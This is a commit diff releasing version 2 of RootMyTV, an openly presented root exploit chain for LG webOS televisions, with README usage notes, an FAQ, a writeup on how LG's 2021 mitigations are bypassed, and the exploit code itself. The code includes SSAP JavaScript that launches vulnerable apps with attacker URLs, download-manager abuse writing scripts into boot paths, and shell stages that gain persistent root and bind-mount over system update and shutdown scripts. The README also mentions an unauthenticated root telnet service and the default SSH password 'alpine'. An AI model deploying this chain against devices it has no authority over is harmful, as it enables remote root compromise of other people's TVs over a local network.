RootMyTV v2 release

pull/81/head v2.0.0
Piotr Dobrowolski 2021-06-25 16:07:02 +02:00
rodzic ad557137e9
commit 81a6b42ff8
11 zmienionych plików z 374 dodań i 61 usunięć

1
.github/FUNDING.yml vendored 100644
Wyświetl plik

@ -0,0 +1 @@
github: [informatic]

214
README.md
Wyświetl plik

@ -11,13 +11,23 @@ If you want the full details of how the exploit works, [skip ahead to our writeu
# Is my TV vulnerable? # Is my TV vulnerable?
At the time of writing (2021-05-15), all webOS versions between 3.4 and 6.0 we At the time of writing the original exploit (RootMyTV v1 - 2021-05-15), all
tested (TVs released between mid-2017 and early-2021) are supported by this exploit webOS versions between 3.4 and 6.0 we tested (TVs released between mid-2017 and
chain. Note: this versioning refers to the "webOS TV Version" field in the settings menu, *not* early-2021) are supported by this exploit chain. Around June-July 2021 LG
the "Software Version" field. started rolling out updates which added some minor mitigations that broke our
original exploit chain.
If you want to protect your TV against remote exploitation, please see the **At the time of writing (RootMyTV v2 - 2022-01-05)**, all webOS versions
[relevant section](#mitigation-note) of our writeup and/or await an update from LG. between 4.x and 6.2+ we tested (TVs released between early-2018 and late-2021)
are supported by the new exploit chain.
Some versions between 3.4 and 3.9 may be supported by RootMyTV v2, but your
mileage may vary.
Note: this versioning refers to the "webOS TV Version" field in the settings menu, *not* the "Software Version" field.
*If you want to protect your TV against remote exploitation, please see the
[relevant section](#mitigation-note) of our writeup and/or await an update from LG.*
# Usage Instructions # Usage Instructions
@ -25,49 +35,165 @@ If you want to protect your TV against remote exploitation, please see the
LG, and although we've done our best to minimise the risk of damage, LG, and although we've done our best to minimise the risk of damage,
we cannot make any guarantees. This may void your warranty. we cannot make any guarantees. This may void your warranty.
1. Make sure the "LG Connect Apps" feature is enabled. It seems to be enabled by default on 1. (Pre-webOS 4.0) Make sure "Settings → Network → LG Connect Apps" feature is enabled.
webOS 4.0+. For older models, follow [LG's instructions](https://www.lg.com/in/support/help-library/lg-webos-tv-how-to-use-lg-connect-apps-CT20150005-1437127057046). 2. Developer Mode app **must be uninstalled before rooting**. Having this
2. (Optional but recommended) If you have LG's Developer Mode app installed, uninstall it. You won't be able to use it after running the exploit, and its functionality is replaced by the Homebrew Channel. application installed will interfere with RootMyTV v2 exploit, and its full
functionality is replaced by Homebrew Channel built-in SSH server.
3. Open the TV's web browser app and navigate to [https://rootmy.tv](https://rootmy.tv) 3. Open the TV's web browser app and navigate to [https://rootmy.tv](https://rootmy.tv)
4. "Slide to root" using a Magic Remote or press button "5" on your remote. 4. "Slide to root" using a Magic Remote or press button "5" on your remote.
5. Accept the security prompt. 5. Accept the security prompt.
6. The exploit will proceed automatically. The TV will reboot itself once 6. The exploit will proceed automatically. The TV will reboot itself once
during this process, and optionally a second time to finalize the installation during this process, and optionally a second time to finalize the installation
of the Homebrew Channel. On-screen notifications will indicate the exploit's of the Homebrew Channel. On-screen notifications will indicate the exploit's
progress. Occasionally, the TV may turn off instead of rebooting - if this happens, just turn the TV back on again. progress. On webOS 6.x **Home Screen needs to be opened** for
notifications/prompts to show up.
Your TV should now have Homebrew Channel app installed, and an Your TV should now have Homebrew Channel app installed.
unauthenticated(!) root telnet service exposed.
By default system updates and remote root access are disabled on install. If
you want to change these settings go to Homebrew Channel → Settings. Options
there are applied after a reboot.
For exploiting broken TVs, check out the information [here](./docs/HEADLESS.md). For exploiting broken TVs, check out the information [here](./docs/HEADLESS.md).
## Why rooting
* Unlimited "Developer Mode" access
* While LG allows willing Homebrew developers/users to install unofficial
applications onto their TVs, official method requires manual renewal of
"developer mode session", which expires after 50 hours of inactivity.
* Some of the [amazing homebrew](https://repo.webosbrew.org) that has been
built/ported onto webOS would likely never be accepted onto LG's official
Content Store.
* Lower level user/application access
* This allows willing developers to research webOS system internals, which
will result in creation of amazing projects, like
[PicCap](https://github.com/TBSniller/piccap) (high performance video
capture used for DIY immersive ambient lighting setups), or access to some
interesting features like customization of system UI, remote adjustment of
certain TV configuration options, and others.
## FAQ
### Is it safe?
While we cannot take any responsibility for Your actions, we have not
encountered any bricks due to rooting. If you only use trusted software from
[official Homebrew Channel repository](https://repo.webosbrew.org), then you
should be safe.
### Will this void my warranty?
**This is not a legal advice.** At least in the EU, [rooting and other software
modifications are generally deemed to be legal](https://piana.eu/root/) and
should not be a basis for voiding your warranty.
### How do I get rid of this?
[Factory
reset](https://www.lg.com/us/support/video-tutorials/lg-tv-how-to-reset-my-lg-smart-tv-CT10000020-1441914092672)
should remove all root-related configuration files.
We don't have a convenient tool for root removal *without factory reset*, though
a knowledgable person may be able to [remove our customizations manually](https://github.com/webosbrew/webos-homebrew-channel/issues/11).
### Are system updates possible?
While updates are technically possible, if LG patches the exploit, you might end
up "locked out" and unable to re-root your TV if you somehow lose access. We
also can't predict how future updates will affect our techniques used to elevate
and operate the Homebrew Channel app.
### Will this break Netflix/YouTube/AmazonVideo?
No. This does not break or limit access to subscription services or other DRMed
content.
However, staying on very old firmware version (which may be required for keeping
root access persistent) may limit Your access to LG Content Store application
installs, updates, or (rarely) launches. Workarounds for this [are in the
works](https://github.com/webosbrew/webos-homebrew-channel/issues/75).
### How do I update from RootMyTV v1? (released 2021/05)
If you are not going to update your TV Software Version to the one that is
already patched (most 4.x+ released after 2021/06) there is no need to update.
New chain does not bring any new features - the most sensible thing you can do
is to update your Homebrew Channel app.
If you are already rooted on downgraded/pre-2021-06 firmware version and want to
upgrade further, doing an official software update will remove existing root
files and homebrew applications. Running RootMyTV v2 then will reenable root
access again. You will need to reinstall removed applications yourself.
**If you know what you are doing** and want to persist installed applications,
you need to remove
`/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh`
file right before an update (without rebooting inbetween), and then run
RootMyTV v2 right on first boot after software update.
### I quickly turned my TV on and off and it's really angry about Failsafe Mode
**If "Failsafe Mode" got tripped on your TV and it's showing angry notifications,
go to Homebrew Channel → Settings, switch "Failsafe Mode" off and press
"Reboot".**
"Failsafe Mode" is a mode where none of our system customizations are enabled
and only an emergency remote access server gets started up.
This mode gets enabled automatically when the TV crashes, gets its power removed
or is shut down during early system startup. In order to reduce chances of that
happening we recommend enabling "Quick Start+" setting in webOS System Settings
General tab. This will make the TV only go to "sleep mode" (which doesn't take
much more power) instead of doing a full shutdown, and will not need to restart
our services on every suspend. This will also make TV startup much faster.
## Post-Installation Advice (IMPORTANT!) ## Post-Installation Advice (IMPORTANT!)
1. For security reasons, it is **highly recommended** to disable 1. Don't update your TV. While updates are technically possible, if LG patches the
Telnet, and enable SSH Server with public key authentication exploit, you might end up "locked out" and unable to re-root your TV if you
(Homebrew Channel → Settings → SSH Server). You will need to manually copy somehow lose access. We also can't predict how future updates will affect
your SSH Public Key over to `/home/root/.ssh/authorized_keys` on the TV. our techniques used to elevate and operate the Homebrew Channel app. **"Block
system updates" option in Homebrew Channel will disable firmware update
checks.** Make sure "Automatic system updates" option in webOS System
Settings is disabled as well.
2. Don't Install, Uninstall, or Update LG's "Developer Mode" app. Doing so will
overwrite, remove or otherwise interfere with the startup script used to
bootstrap the jailbreak. It is **required** to remove "Developer Mode" app
before rooting. SSH service exposed by Homebrew Channel is compatible with
webOS SDK tooling.
3. If you need remote root shell access and know how to use SSH, you can enable
it in Homebrew Channel settings. Default password is `alpine`, but we recommend
setting up SSH Public Key authentication by copying your SSH Public Key over
to `/home/root/.ssh/authorized_keys` on the TV. This will disable password
authentication after a reboot.
GitHub user registered keys can be installed using the following snippet: GitHub user registered keys can be installed using the following snippet:
```sh ```sh
mkdir -p ~/.ssh && curl https://github.com/USERNAME.keys > ~/.ssh/authorized_keys mkdir -p ~/.ssh && curl https://github.com/USERNAME.keys > ~/.ssh/authorized_keys
``` ```
2. Don't update your TV. While updates are technically possible, if LG patches the
exploit, you might end up "locked out" and unable to re-root your TV if you Alternative option is Telnet (can be enabled in Homebrew Channel → Settings
somehow lose access. We also can't predict how future updates will affect → Telnet) though it is **highly discouraged**, since this gives
our techniques used to elevate and operate the Homebrew Channel app. "Block unauthenticated root shell to anyone on a local network.
system updates" option in Homebrew Channel will disable firmware update
checks. 4. It is recommended to have "Quick Start+" functionality **enabled**. This will
3. Don't Install, Uninstall, or Update LG's "Developer Mode" app. Doing so will make shutdown button on a remote not do a full system shutdown. If you
overwrite or remove the startup script used to bootstrap the jailbreak. It is quickly turn the TV on and off without Quick Start+, our "Failsafe Mode" may
advisable to remove "Developer Mode" app before rooting. SSH service exposed get triggered (which is there to prevent startup scripts bricking the TV)
by Homebrew Channel is compatible with webOS SDK tooling. which will go away after switching relevant switch in Homebrew Channel
Settings.
## Troubleshooting ## Troubleshooting
In case of any problems [join the OpenLGTV Discord server](https://discord.gg/xWqRVEm) In case of any problems [join the OpenLGTV Discord server](https://discord.gg/xWqRVEm)
and ask for help on `#rootmytv` channel, or file a GitHub issue. and ask for help on `#rootmytv` channel, ask on [our `#openlgtv:netserve.live`
Matrix channel](https://matrix.to/#/#openlgtv:netserve.live), or file a GitHub issue.
Before asking for support, please consult our [Troubleshooting guide](./docs/TROUBLESHOOTING.md). Before asking for support, please consult our [Troubleshooting guide](./docs/TROUBLESHOOTING.md).
@ -97,8 +223,8 @@ More importantly, this exploit could be easily triggered over the local network,
using SSAP (details below), making it much more reliable and user-friendly. using SSAP (details below), making it much more reliable and user-friendly.
At time of writing, the code in this repo is the combined work of David At time of writing, the code in this repo is the combined work of David
Buchanan (Web design, initial PoC exploit) and Piotr Dobrowolski (Improved "v2" exploit Buchanan (Web design, initial PoC exploit) and Piotr Dobrowolski (Improved "v1" exploit
implementation, and writeup). implementation, writeup, and "v2" research and implementation).
We would like to thank: We would like to thank:
@ -240,3 +366,31 @@ shell and removing itself (in case something goes wrong and the user needs to
reboot a TV - script keeps running but will no longer be executed on next reboot a TV - script keeps running but will no longer be executed on next
startup), installs the homebrew channel app via standard devmode service calls startup), installs the homebrew channel app via standard devmode service calls
and elevates its service to run unjailed as root as well. and elevates its service to run unjailed as root as well.
### 2021/06: The Old-New Chain (RootMyTV v2)
Around 2021/06 LG started rolling out a patched version which involved some
fixes for the tricks we used in this chain:
* Certain applications we used for private bus access have their permissions limited to `public`
* LunaDownloadMgr now checks target paths against a list of regular expressions
in `/etc/palm/luna-downloadmgr/download.json`
* `start-devmode.sh` script is now shipped with a signature and is now verified using `openssl` on each boot
* This one had an interesting side effect - it took approximately a month
for LG to roll out a new Developer Mode application with signed
`start-devmode.sh`, during which time updated TVs were unable to use
developer mode at all.
Most of these mitigations are too trivial to work around, thus we still consider
this chain unfixed.
* There are still applications on the system that are vulnerable to XSS attacks
with private bus permissions
* Regular expressions used to verify target paths are too broad, and thus still
allow us to write to relevant paths
* There are multiple paths that are executed during bootup, so we don't even
need to use `start-devmode.sh`
Our initial estimate for fixing these issues in our chain were "a couple of
hours" - patches theorized on our side on 2021/05/27 turned out to be correct,
but due to some strategic choices and lack of personal time, we decided to
postpone testing and release for a couple of months. Sorry. :)

Wyświetl plik

@ -29,6 +29,12 @@ header > h1 {
font-size: 4em; font-size: 4em;
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be; text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
} }
header > h1 > small {
font-size: 20pt;
text-shadow: 0 0px 2px white, 0 0px 2px white, 0 0 0.4em #731178, 0 2px 0.2em pink, 0 -3px 0.2em #aa0000;
}
article { article {
line-height: 1.5; line-height: 1.5;
color: #c4f0fd; color: #c4f0fd;

Wyświetl plik

@ -24,5 +24,10 @@ perform rooting on. This can help when rooting a TV without a working display.
- Exit (or press back multiple times) - Exit (or press back multiple times)
2. Run an exploit in an external browser providing an IP address of a TV 2. Run an exploit in an external browser providing an IP address of a TV
3. When asked for a connection prompt after a couple of seconds, press → and OK 3. When asked for a connection prompt after a couple of seconds, press → and OK
(or ↓ and OK on webOS 6.x+ / TVs released in 2021+)
4. TV should reboot after a while and should start responding to unauthenticated 4. TV should reboot after a while and should start responding to unauthenticated
telnet connections on its IP address. telnet connections on its IP address.
5. **Important:** since RootMyTV v2 we disable telnet by default after a second
reboot. In order to keep it on you will need to connect over telnet on first
boot after rooting and remove
`/var/luna/preferences/webosbrew_telnet_disabled` file.

Wyświetl plik

@ -1 +0,0 @@
yep

0
files/dummy 100644
Wyświetl plik

12
files/jumpstart.sh 100644
Wyświetl plik

@ -0,0 +1,12 @@
# *** W A R N I N G ***
#
# Do **not** touch this file, nor /var/lib/webosbrew/startup.sh - this is a
# crucial part of RootMyTV exploit chain.
#
# If you want your own startup script customization, create an executable script
# in /var/lib/webosbrew/init.d/ directory - this will be ran during early
# bootup.
#
# *** W A R N I N G ***
LD_PRELOAD="" nohup sh /var/lib/webosbrew/startup.sh & >/dev/null

Wyświetl plik

@ -0,0 +1,33 @@
#!/bin/bash
# This script is executed at bootup to fix up shutdown hook script that will
# remove developer mode flag on certain shutdown events if start-devmode.sh
# script is missing. (which is the case on post-2021/06 firmware versions, where
# start-devmode.sh is signed)
# TODO: do we want to force-create com.lgerp directory here as well?
# Running pre-webOS 5.x (upstart)
if [[ -f /etc/init/shutdown.conf ]]; then
if ! findmnt /etc/init/shutdown.conf >/dev/null ; then
echo "upstart: fixing shutdown.conf..."
cp /etc/init/shutdown.conf /tmp/.shutdown.conf
sed -i 's;/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh;/var/lib/webosbrew/startup.sh;g' /tmp/.shutdown.conf
mount --bind /tmp/.shutdown.conf /etc/init/shutdown.conf
initctl reload-configuration
else
echo "upstart: fixed already"
fi
fi
# Running webOS 5.x+ (systemd)
if [[ -f /etc/systemd/system/scripts/shutdown.sh ]]; then
if ! findmnt /etc/systemd/system/scripts/shutdown.sh >/dev/null ; then
echo "systemd: fixing shutdown.sh"
cp /etc/systemd/system/scripts/shutdown.sh /tmp/.shutdown.sh
sed -i 's;/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh;/var/lib/webosbrew/startup.sh;g' /tmp/.shutdown.sh
mount --bind /tmp/.shutdown.sh /etc/systemd/system/scripts/shutdown.sh
else
echo "systemd: fixed already"
fi
fi

Wyświetl plik

@ -1,5 +1,12 @@
#!/bin/sh #!/bin/sh
# Hey! Yes, you! Do you happen to be an LG Engineer? RootMyTV/webosbrew/OpenLGTV
# teams wanted to say hello!
#
# While we understand this is beyond engineering decisions, we would greatly
# appreciate if webOS TV was made more open - not necessarily to remote
# exploitation, but to people willing to hack on their devices.
# Remove this script - in case a reboot happens, we should end up with a clean # Remove this script - in case a reboot happens, we should end up with a clean
# system... # system...
rm $0 rm $0
@ -14,6 +21,16 @@ sleep 3
mount --bind /bin/false /usr/sbin/update mount --bind /bin/false /usr/sbin/update
pkill -9 -f /usr/sbin/update pkill -9 -f /usr/sbin/update
# This will prevent shutdown.sh removing our devmode_enabled flag...
rm -rf /var/luna/preferences/devmode_enabled
mkdir -p /var/luna/preferences/devmode_enabled
# Cleanup after rootmytv v1
if [[ -f /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh ]] && [[ ! -f /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sig ]] && ! grep '/var/lib/webosbrew/startup.sh' /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh ; then
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Cleaning up RootMyTV v1..."}'
rm -rf /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh
fi
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing homebrew channel..."}' luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing homebrew channel..."}'
mkfifo /tmp/luna-install mkfifo /tmp/luna-install
@ -25,12 +42,23 @@ echo "finished"
kill -term $LUNA_PID kill -term $LUNA_PID
rm /tmp/luna-install rm /tmp/luna-install
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Elevating homebrew channel..."}' rm /media/internal/downloads/hbchannel.ipk
/media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing final start-devmode.sh..."}' luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing final startup.sh..."}'
cp /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/startup.sh /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh cp /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/startup.sh /var/lib/webosbrew/startup.sh
# Disable telnet by default now, since we already have persistence figured out
# fairly well.
touch /var/luna/preferences/webosbrew_telnet_disabled
# Block system updates since now we know LG is finally willing to patch up our
# exploits sooner or later.
touch /var/luna/preferences/webosbrew_block_updates
# This is a load-bearing tee. Don't ask.
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Elevating homebrew channel..."}'
/media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service 2>&1 | tee /tmp/elevate.log
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Finished!"}' luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Finished!"}'
luna-send -a com.webos.service.secondscreen.gateway -f -n 1 luna://com.webos.notification/createAlert '{"sourceId":"webosbrew","message":"webOS Homebrew Channel installed. Would you like to reboot now?","buttons":[{"label":"Reboot now","onclick":"luna://com.webos.service.sleep/shutdown/machineReboot","params":{"reason":"SwDownload"}},{"label":"Reboot later"}]}' luna-send -a com.webos.service.secondscreen.gateway -f -n 1 luna://com.webos.notification/createAlert '{"sourceId":"webosbrew","message":"webOS Homebrew Channel installed. Would you like to reboot now?","buttons":[{"label":"Reboot now","onclick":"luna://com.webos.service.sleep/shutdown/machineReboot","params":{"reason":"remoteKey"}},{"label":"Reboot later"}]}'

Wyświetl plik

@ -15,7 +15,7 @@
<body> <body>
<header> <header>
<h1>RootMy.TV</h1> <h1>RootMy.TV<small> 2.0</small></h1>
</header> </header>
<hr> <hr>
<section class="content-center"> <section class="content-center">
@ -154,37 +154,82 @@
"localizedAppNames": { "localizedAppNames": {
"": "RootMyTV", "": "RootMyTV",
}, },
permissions: ["LAUNCH"], permissions: ["LAUNCH", "READ_INSTALLED_APPS"],
}, },
} }
}; };
conn.send(JSON.stringify(handshake)); conn.send(JSON.stringify(handshake));
}; };
const pendingRequests = {};
function request(uri, payload, callback) {
const id = String(Date.now());
conn.send(JSON.stringify({
id: id,
type: "request",
uri: uri,
payload: payload,
}));
pendingRequests[id] = callback;
}
conn.onmessage = function (evt) { conn.onmessage = function (evt) {
const msg = JSON.parse(evt.data); const msg = JSON.parse(evt.data);
if (msg.type === 'registered') { if (msg.type === 'registered') {
log('2. Registered - opening webpage...'); log('2. Registered - looking for vulnerable apps...');
conn.send(JSON.stringify({ request('ssap://com.webos.applicationManager/listApps', {}, function(msg) {
id: 'launch_req', if (msg.type === 'response') {
type: "request", const candidates = {
uri: "ssap://system.launcher/launch", "com.webos.app.facebooklogin": {
payload: { priority: 1000,
id: "com.webos.app.facebooklogin", params: { server: url.replace('http://', '').replace('https://', '') + "#" },
params: { },
server: url.replace('http://', '').replace('https://', '') + "#", "com.webos.app.acrcard": {
priority: 2000,
params: { contentTarget: url },
},
"com.webos.app.alibaba": {
priority: 2500,
params: { target: url },
},
};
var bestMatch = null;
msg.payload.apps.forEach(function(app) {
if (app.id in candidates) {
log("3. Found " + app.id);
if (bestMatch === null || candidates[bestMatch].priority < candidates[app.id].priority) {
bestMatch = app.id;
}
}
});
if (!bestMatch) {
log("3. No vulnerable apps found :(");
} else {
log("3. Launching " + bestMatch + "...");
request("ssap://system.launcher/launch", {
id: bestMatch,
params: candidates[bestMatch].params,
}, function(msg) {
log("3. Launch result: " + JSON.stringify(msg));
});
} }
}, }
})); });
} else if (msg.type === 'response') { } else if (msg.type === 'response') {
if (msg.payload.returnValue === true && msg.id === 'launch_req') { if (pendingRequests[msg.id]) {
log('2. Launch request finished'); pendingRequests[msg.id](msg);
delete pendingRequests[msg.id];
} else if (msg.id !== 'reg_req') { } else if (msg.id !== 'reg_req') {
log('Unexpected response: ' + evt.data); log('Unexpected response: ' + evt.data);
} }
} else if (msg.type === 'error') { } else if (msg.type === 'error') {
log('Unexpected message, connection prompt likely declined:\n' + evt.data); log('Unexpected message, connection prompt likely declined:\n' + evt.data);
if (pendingRequests[msg.id]) {
pendingRequests[msg.id](msg);
delete pendingRequests[msg.id];
}
} else { } else {
log('Unexpected message: ' + evt.data); log('Unexpected message: ' + evt.data);
} }

Wyświetl plik

@ -8,7 +8,7 @@
<body> <body>
<header> <header>
<h1>RootMy.TV</h1> <h1>RootMy.TV<small> 2.0</small></h1>
</header> </header>
<hr> <hr>
<section class="content-center"> <section class="content-center">
@ -18,6 +18,12 @@
</section> </section>
<hr> <hr>
<script src="lib/webOSTV.js"></script> <script src="lib/webOSTV.js"></script>
<script>
// Break out of an iframe...
if (window !== window.top) {
window.top.location.href = location.href
}
</script>
<script> <script>
function log(str) { function log(str) {
var logBox = document.querySelector('#log'); var logBox = document.querySelector('#log');
@ -28,7 +34,7 @@
window.onerror = function (err) {log('Unexpected error: ' + err);}; window.onerror = function (err) {log('Unexpected error: ' + err);};
(function () { (function () {
function download(url, targetDir, targetFilename, success) { function download(url, targetDir, targetFilename, success, failure) {
var target = new URL(url, window.location.href).href; var target = new URL(url, window.location.href).href;
log(targetFilename + ': Downloading from ' + target + '...'); log(targetFilename + ': Downloading from ' + target + '...');
webOS.service.request('luna://com.webos.service.downloadmanager', { webOS.service.request('luna://com.webos.service.downloadmanager', {
@ -43,7 +49,11 @@
onSuccess: function (res) { onSuccess: function (res) {
if (res.completed === true) { if (res.completed === true) {
if (res.destPath !== targetDir) { if (res.destPath !== targetDir) {
log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.'); if (failure != undefined) {
failure(res);
} else {
log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.');
}
} else if (res.httpStatus !== 200) { } else if (res.httpStatus !== 200) {
log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus); log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus);
} else { } else {
@ -54,7 +64,11 @@
}, },
onFailure: function (err) { onFailure: function (err) {
log('err: ' + JSON.stringify(err)); log(targetFilename + ': Luna call failed: ' + JSON.stringify(err));
if (failure != undefined) {
failure(err);
}
}, },
}); });
} }
@ -63,7 +77,7 @@
webOS.service.request('luna://com.webos.service.sleep', { webOS.service.request('luna://com.webos.service.sleep', {
method: 'shutdown/machineReboot', method: 'shutdown/machineReboot',
parameters: { parameters: {
reason: "SwDownload" reason: "remoteKey"
}, },
onSuccess: function (res) { onSuccess: function (res) {
log("Reboot request succeeded. Bye?"); log("Reboot request succeeded. Bye?");
@ -74,14 +88,30 @@
}); });
} }
var homebrewChannelURL = 'https://github.com/webosbrew/webos-homebrew-channel/releases/download/v0.3.2/org.webosbrew.hbchannel_0.3.2_all.ipk'; var homebrewChannelURL = 'https://github.com/webosbrew/webos-homebrew-channel/releases/download/v0.4.0/org.webosbrew.hbchannel_0.4.0_all.ipk';
download('files/stage3.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode.sh', function () { function bootstrapStage3() {
download(homebrewChannelURL, '/media/internal/downloads/', 'hbchannel.ipk', function () { download('files/stage3.sh', '/mnt/lg/cmn_data/var/lib/webosbrew/', 'startup.sh', function () {
download('files/devmode_enabled', '/var/luna/preferences/', 'devmode_enabled', function () { download(homebrewChannelURL, '/mnt/lg/appstore/internal/downloads/', 'hbchannel.ipk', function () {
reboot(); download('files/dummy', '/mnt/lg/cmn_data/var/luna/preferences/', 'devmode_enabled', function () {
log("Your TV shall reboot in 5 seconds...");
setTimeout(function () {
reboot();
}, 5000);
});
}); });
}); });
}
// Attempt to go through original pre-2021/06 route. This will fail on patched TVs.
download('files/jumpstart.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode.sh', function () {
log("Original start-devmode.sh overwrite succeeded, using original chain...");
bootstrapStage3();
}, function () {
log("Original start-devmode.sh overwrite failed, attempting v2 exploit...");
download('files/jumpstart.sh', '/mnt/lg/cmn_data/wam/', 'extra_conf.sh', function () {
bootstrapStage3();
});
}); });
})(); })();
</script> </script>